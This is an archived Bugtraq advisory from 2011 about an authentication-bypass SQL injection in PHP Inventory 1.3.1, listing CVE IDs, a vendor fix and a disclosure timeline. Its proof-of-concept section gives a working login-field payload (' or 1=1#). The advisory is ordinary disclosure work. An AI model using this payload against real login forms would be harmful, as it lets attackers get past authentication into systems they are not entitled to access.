bugtraq - PHP Inventory 1.3.1 Remote (Auth Bypass) SQL Injection Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201111301542.pAUFgfiu002988@sf01web1.securityfocus.com>
Date: Wed, 30 Nov 2011 15:42:41 GMT
From: security@...oserve.de
To: bugtraq@...urityfocus.com
Subject: PHP Inventory 1.3.1 Remote (Auth Bypass) SQL Injection Vulnerability

Advisory:	 	PHP Inventory 1.3.1 Remote (Auth Bypass) SQL Injection Vulnerability
Advisory ID:		INFOSERVE-ADV2011-08
Author:			Stefan Schurtz
Contact:		security@...oserve.de
Affected Software:	Successfully tested on PHP Inventory 1.3.1
Vendor URL:		http://www.phpwares.com/
Vendor Status:		fixed
CVE-ID:			CVE-2009-4595,CVE-2009-4596,CVE-2009-4597

==========================
Vulnerability Description
==========================

PHP Inventory is (still) prone to a SQL-Injection (Auth Bypass) vulnerability

==================
PoC-Exploit
==================

http://[target]/php-inventory/index.php 

// with 'magic_quotes_gpc = Off'

USER NAME = ' or 1=1#

or

USER NAME = admin
PASSWORD = ' or 1=1#

=========
Solution
=========

Update to the latest version 1.3.2

====================
Disclosure Timeline
====================

29-Nov-2011 - informed vendor (contact form)
30-Nov-2011 - vendor fix

========
Credits
========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

===========
References
===========

http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-08.txt
http://www.exploit-db.com/exploits/10370/
http://secunia.com/advisories/37672/